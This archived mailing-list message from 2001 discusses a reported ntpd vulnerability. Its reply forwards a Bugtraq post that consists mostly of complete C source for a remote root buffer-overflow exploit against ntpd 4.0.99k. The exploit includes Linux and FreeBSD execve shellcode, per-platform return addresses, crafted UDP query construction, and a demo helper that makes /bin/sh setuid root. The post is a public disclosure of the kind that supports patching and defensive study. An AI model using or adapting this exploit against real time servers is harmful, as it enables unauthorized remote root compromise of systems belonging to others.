On Wednesday 04 April 2001 22:24, Noah L. Meyerhans wrote: > It would appear that every supported Debian version is currently > vulnerable... Note that I've not tested this myself, but our version of > ntp is definitely supposed to be vulnerable. > > noah
And unfortunately, 4.0.99k seems to be the latest version available unless you go to CVS. > > ----- Forwarded message from Przemyslaw Frasunek > <[EMAIL PROTECTED]> ----- > > Date: Wed, 4 Apr 2001 22:27:01 +0200 > From: Przemyslaw Frasunek <[EMAIL PROTECTED]> > Subject: ntpd =< 4.0.99k remote buffer overflow > To: [email protected] > > /* ntpd remote root exploit / babcia padlina ltd. > <[EMAIL PROTECTED]> */ > > /* > * Network Time Protocol Daemon (ntpd) shipped with many systems is > vulnerable * to remote buffer overflow attack. It occurs when building > response for * a query with large readvar argument. In almost all cases, > ntpd is running * with superuser privileges, allowing to gain REMOTE ROOT > ACCESS to timeserver. * > * Althought it's a normal buffer overflow, exploiting it is much harder. > * Destination buffer is accidentally damaged, when attack is performed, so > * shellcode can't be larger than approx. 70 bytes. This proof of concept > code * uses small execve() shellcode to run /tmp/sh binary. Full remote > attack * is possible. > * > * NTP is stateless UDP based protocol, so all malicious queries can be > * spoofed. > * > * Example of use on generic RedHat 7.0 box: > * > * [EMAIL PROTECTED] venglin]$ cat dupa.c > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } > * [EMAIL PROTECTED] venglin]$ cc -o /tmp/sh dupa.c > * [EMAIL PROTECTED] venglin]$ cc -o ntpdx ntpdx.c > * [EMAIL PROTECTED] venglin]$ ./ntpdx -t2 localhost > * ntpdx v1.0 by [EMAIL PROTECTED] > * > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) > * > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query > * [1] <- evil query (pkt = 512 | shell = 45) > * [2] <- null query (pkt = 12) > * Done. > * /tmp/sh was spawned. > * [EMAIL PROTECTED] venglin]$ ls -al /bin/bash > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash > * > */ > > #include <stdio.h> > #include <stdlib.h> > #include <stdarg.h> > #include <string.h> > #include <sys/types.h> > #include <sys/socket.h> > #include <netinet/in.h> > #include <netdb.h> > #include <unistd.h> > #include <arpa/inet.h> > > #define NOP 0x90 > #define ADDRS 8 > #define PKTSIZ 512 > > static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>"; > > /* generic execve() shellcodes */ > > char lin_execve[] = > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; > > char bsd_execve[] = > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > > struct platforms > { > char *os; > char *version; > char *code; > long ret; > int align; > int shalign; > int port; > }; > > /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet > * *after* RET address. This values will vary from platform to platform. > */ > > struct platforms targ[] = > { > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff8bc, 200, 220, 0 }, > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff540, 200, 220, 0 }, > > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, > 0xbffff777, 240, 160, 0 }, > > { NULL, NULL, NULL, 0x0, 0, 0, 0 } > }; > > long getip(name) > char *name; > { > struct hostent *hp; > long ip; > extern int h_errno; > > if ((ip = inet_addr(name)) < 0) > { > if (!(hp = gethostbyname(name))) > { > fprintf(stderr, "gethostbyname(): %s\n", > strerror(h_errno)); > exit(1); > } > memcpy(&ip, (hp->h_addr), 4); > } > > return ip; > } > > int doquery(host, ret, shellcode, align, shalign) > char *host, *shellcode; > long ret; > int align, shalign; > { > /* tcpdump-based reverse engineering :)) */ > > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, > 0x74, 0x75, 0x6d, 0x3d }; > > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00 }; > > char buf[PKTSIZ], *p; > long *ap; > int i; > > int sockfd; > struct sockaddr_in sa; > > bzero(&sa, sizeof(sa)); > > sa.sin_family = AF_INET; > sa.sin_port = htons(123); > sa.sin_addr.s_addr = getip(host); > > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) > { > perror("socket"); > return -1; > } > > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) > { > perror("connect"); > close(sockfd); > return -1; > } > > memset(buf, NOP, PKTSIZ); > memcpy(buf, q2, sizeof(q2)); > > p = buf + align; > ap = (unsigned long *)p; > > for(i=0;i<ADDRS/4;i++) > *ap++ = ret; > > p = (char *)ap; > > memcpy(buf+shalign, shellcode, strlen(shellcode)); > > if((write(sockfd, buf, PKTSIZ)) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, > strlen(shellcode)); > fflush(stderr); > > if ((write(sockfd, q3, sizeof(q3))) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); > fflush(stderr); > > close(sockfd); > > return 0; > } > > int main(argc, argv) > int argc; > char **argv; > { > extern int optind, opterr; > extern char *optarg; > int ch, type, ofs, i; > long ret; > > opterr = ofs = 0; > type = -1; > > while ((ch = getopt(argc, argv, "t:o:")) != -1) > switch((char)ch) > { > case 't': > type = atoi(optarg); > break; > > case 'o': > ofs = atoi(optarg); > break; > > case '?': > default: > puts(usage); > exit(0); > > } > > argc -= optind; > argv += optind; > > fprintf(stderr, "ntpdx v1.0 by [EMAIL PROTECTED]"); > > if (type < 0) > { > fprintf(stderr, "Please select platform:\n"); > for (i=0;targ[i].os;i++) > { > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, > targ[i].os, targ[i].version, (void *)targ[i].ret); > } > > exit(0); > } > > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", > targ[type].os, targ[type].version); > > ret = targ[type].ret; > ret += ofs; > > if (argc != 1) > { > puts(usage); > exit(0); > } > > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", > (void *)ret, targ[type].align, targ[type].shalign); > > if (doquery(*argv, ret, targ[type].code, targ[type].align, > targ[type].shalign) < 0) > { > fprintf(stderr, "Failed.\n"); > exit(1); > } > > fprintf(stderr, "Done.\n"); > > if (!targ[type].port) > { > fprintf(stderr, "/tmp/sh was spawned.\n"); > exit(0); > } > > exit(0); > } > > -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * > * Inet: [EMAIL PROTECTED] ** PGP: D48684904685DF43EA93AFA13BE170BF * > > ----- End forwarded message ----- ---------------------------------------- Content-Type: application/pgp-signature; charset="us-ascii"; name="Attachment: 1" Content-Transfer-Encoding: 7bit Content-Description: ---------------------------------------- -- Bud Rogers <[EMAIL PROTECTED]> http://www.sirinet.net/~budr All things in moderation. And not too much moderation either.
